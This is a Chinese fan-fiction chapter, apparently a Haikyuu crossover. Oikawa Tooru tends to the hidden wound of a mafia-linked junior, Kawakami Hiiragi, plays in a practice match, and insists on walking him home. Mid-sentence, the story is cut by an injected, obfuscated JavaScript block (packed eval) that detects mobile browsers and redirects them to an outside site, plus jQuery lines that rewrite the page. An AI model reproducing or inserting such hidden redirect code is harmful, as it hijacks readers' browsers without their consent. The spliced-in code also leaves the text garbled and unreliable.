“等等!你先别说话!”及川彻顶着一对蛋花眼骂骂咧咧:“这是小伤吗?这是小伤啊!你国文是不是不及格?都渗血了,你到底去过医院了没有?!现在、立刻跟我去医务室!”
他轻手轻脚地将衬衫扣子扣上,又细细看了受伤的范围,又开始眼泪汪汪。老天啊,他这辈子从来没见过这么严重的伤——从肩头径直划到腰腹,横跨了整个身躯。倘若再深一寸,人还能活吗?
而川上柊扣住了及川彻微微颤抖的手。
他眼睛很亮,脸上是从未见过的奇怪神情——这种感觉太奇妙了,除了母亲以外,及川彻是第一个为他流眼泪的人。
同情、怜悯、哀悼。一个人为什么会因为另一个人的苦难而感到悲伤呢?人类这样复杂的感情,竟然能浓缩在小小一滴的泪水中。它落在他的手上,渗透进肌肤、描摹着肌理。那份细腻的感情便也如水般穿透了他作为人的皮囊,抵达了更深入的地方。
这是“爱”吗?
人与人之间,便是通过这样的“爱”联接的吗?
他忍不住将手覆盖在及川彻脸侧,大拇指不断摩挲着眼下的泪痕——为他人而哭泣是一件十分私密的事。泪水落下之际,你我之间,是否亲密过世间所有?
“这是你第一次为我流泪。”他喃喃道。
.
感到渗人的及川彻打断施法,十分果断地拽着人来了医务室。
新来的医务室老师吓得要报警,川上柊推说只是意外,并声明今早才换了药。
老师看懂了眼色,识相地没再多说,只是开了常规的外伤药,嘱咐他们注意护理。
劝阻川上柊回家休息失败的及川彻十分不甘心,一步一回头道:“下午排球部的训练一定一定不能再去了!在场边看着也不行!”
川上柊低着头举了下手,但是已读不回。
等背影消失不见,医务室老师起身半鞠躬:“川上大人,BOSS请您保重身体。”
“知道了。”他头都没抬,不咸不淡道:“你清楚什么该说什么不该说吧?”
名叫佐藤正治的黑.手.党心情复杂地想:川上大人背着家里人谈恋爱的叛逆青春期还是到来了。
“属下明白。”
叛逆的川上柊身残志坚地踏入排球馆,慢悠悠地坐在了教练旁边。
及川彻:“?”
他不可置信地“哈”了一声,气势汹汹地跑过来叉腰道:“连前辈的话都不听了吗!”
“可是我一个人真的很无聊。”川上柊托腮,眨巴着眼抬头:“我不能来看前辈打球吗?”
卑鄙的小柊。及川彻闭眼拒绝卖萌:“至少不可以在这里。去观众席,那里安全一点。”
川上柊拉长声音:“诶——可是那里也太远了——”
“总比被球砸到好吧笨蛋小柊!”及川彻大叫。
花卷、松川、岩泉:?
打排球的有人没被砸过吗?
入畑教练莫名其妙地看着及川彻:“川上脚扭了,又不是手断了。我让他坐这儿看训练赛,你瞎操什么心。”
及川彻噎住,在原地生气地盯着某个任性的人半天,说了句“教练你不懂”。
“我不懂什么?快滚去训练,你要尽快熟悉队伍里新攻手的击球点。”
见川上柊跟招财猫似的挥手,完全没有要动的意思,他只能愤愤地回到位置,如临大敌道:“今天绝对不能让球落到场外!”
训练赛打响。
.
京谷贤太郎被分到了和及川彻、花卷贵大和渡亲治一队,岩泉一、矢巾秀和松川一静在对面。
“京谷,前辈很看好你哟!”及川彻竖起大拇指夸道:“给我狠狠地击溃小岩!”
被寄予厚望的一年级主攻手莫名其妙地看了干劲满满的队长一眼,十分明显地往旁边挪了挪。
及川彻:“#”
花卷贵大毫不犹豫嘲笑:“被后辈讨厌了呢。”
岩泉一加入嘲笑队伍:“混蛋川,今天输了就请学弟们吃拉面。”
花卷举手:“我也要。我要豚骨拉面。”
“那我要叉烧。”
“喂!”及川彻回头笑骂:“松川就算了,小卷你凑什么热闹!”
“所以,加油赢下比赛吧。”花卷贵大拍拍他的肩:“队长,发个好球!”
“砰”!
黄蓝色的排球飞跃过球网,所有人都凝视着它。伴随着脚步阵营的飞速转换,它被一双双手接起、又被一次次扣下。
川上柊默默看着哪怕在一群人中也很显眼的及川彻,不知不觉间放空了脑子,只是视线还在不自觉地追随。
“怎么样?有什么想法没有?”入畑教练问。
发呆犯困的川上柊如梦初醒,随意挑了个问题糊弄道:“那个……啊,京谷,打得太独了。”
入畑伸照见他嘴唇微微泛白,没戳穿他偷懒,而是关心道:“最近生活上有什么难处吗?”
川上柊挑眉,指指自己。
“我当然知道你不缺钱,但我听沟口说你一个人在生活。”入畑伸照缓缓道:“孩子,没有家人在身边,一个人待久了,会孤独的。你父母呢?”
“都死了。”川上柊以一种轻松的语气开了个玩笑:“请不必感到抱歉,我也还有其他家人。孤独?或许吧,不过因为太忙,刚好没什么时间去感受,算是恰恰好的安排?”
入畑伸照怔住,随后叹气。
“是我冒昧了。”他拍拍少年的手背,年长者厚重的温暖仿佛通过这个举动传递了过来:“你是个有主见的孩子,不过如果有什么拿不定的事,我这把老骨头还算是有点经验。”
川上柊笑:“我知道,您和沟口老师都是好人。”
他很庆幸遇到了这些好人。只可惜,在他的世界里,好人不长命。
场上,排球在岩泉一的重扣下以极快的速度砸向地板,渡亲治飞身鱼跃,回头大喊:“救一下!”
这个已经飞向场外的球在大多数人看来已经没有救的价值,但唯独,这群站在场上、一次次为了胜利而爆发的少年不会。
堪称失败的一传、落后的比分,这些在及川彻眼中通通消失不见,唯有那颗见证了他全部努力和汗水的排球悬在半空中,正散发着微不可见的光。
能做到。他在心中默念:我能做到。
排球上布
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408537|200613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满灰尘的皮革率先触碰到指尖,手指微微发力,便赋予了它雀跃的生命——那是与由攻手发起的一往无前的进攻完全不同的神奇魔法:技巧、灵感、思考,这些糅合进出色的球感中,便能亲手缔造出一张极其精密的网。
在这张网里,有后排开始助跑的主攻手的脚步、有前排佯攻的副攻手的跳跃、有自由人随时准备救球的双臂,还有球网对面尚未组织完毕的防守。
找到了。
“京谷!”
及川彻侧向跃起,肌肉纤维绷紧到极致后收缩,支撑着身体爆发出难以想象的速度——他追上了那颗遮住排球馆灯光的排球,下一瞬,这颗排球便由极远的场外精准飞向攻手的掌心。
京谷贤太郎以完美的状态抓住了这次机会,奋力挥动的右臂一如既往地倾泻出惊人的力量:
“砰”!
这手及川彻首次尝试的超远距离传球成功带领攻手撕裂了对手的防线,拿下本场关键一分。
24:24
及川彻的身体狠狠砸向场边的裁判席,他下意识弓背呈保护姿态,在速度稍有减缓时立刻爬起,目光始终未分出一分一毫。
“很感动哦。”川上柊注视着这一幕,道:“如果您是想问我对排球有什么感受,那么这就是我的回答。”
.
“小柊小柊!”及川彻换好衣服,一溜烟跑到川上柊面前刹停:“你家司机停在哪?我送你过去。”
川上柊眨眨眼,抬头:“不是说好要一起回家吗?”
可恶的小柊还在装傻。及川彻弯腰戳他脸颊,气道:“别提了,一说这个我就生气——到底是谁的错啊?受伤这么严重还憋着不说,是想一直瞒着我吗?”
某人心虚移开眼。
“所以说,我得盯着你好好上车别到处乱跑。对了,每天换药的时候都要记得给我拍照检查愈合情况,直到彻底长好的那天才能跑跳,听到了没?”
川上柊转移话题:“岩泉前辈呢?”
“小岩说有事要先走。”及川彻眯眼:“很可疑,你又干什么坏事了?”
川上柊:“……”
为了跟及川彻一起走回家的路,他压根没叫司机来接。地址更是虚假,他本来也是在各个安全屋或旅馆之间流动歇脚,根本没有常住地。
原本打算到及川彻家门口就直接折返去找熟悉的地下医生,但看及川前辈这幅坚定的表情,恐怕不好糊弄。
肯定做坏事了,搞不好又骗了他什么。及川彻气得掐他脸颊软肉,一只手还不够,两只手一起扯才解气:“老实交代还能放过你。再敢骗我,就准备好迎接前辈狂风骤雨般的愤怒吧!”
“前辈窝戳了。”川上柊把脸上捣乱的手抓下去,在手机上点了点,成功查到一栋及川彻家附近的安全屋,登时又充满了糊弄人的信心:“司机临时有事,我让他先回去了。反正也不远,走回去也没关系。”
“哈?”及川彻立刻抓住漏洞:“伤得这么重,你还让司机回家?我看是根本就没让他来吧!”
“不行,你在我这已经失去信用了。”他弯腰俯身,皱着鼻子盯屡教不改的笨蛋小柊:“我现在要看着你换药包扎。”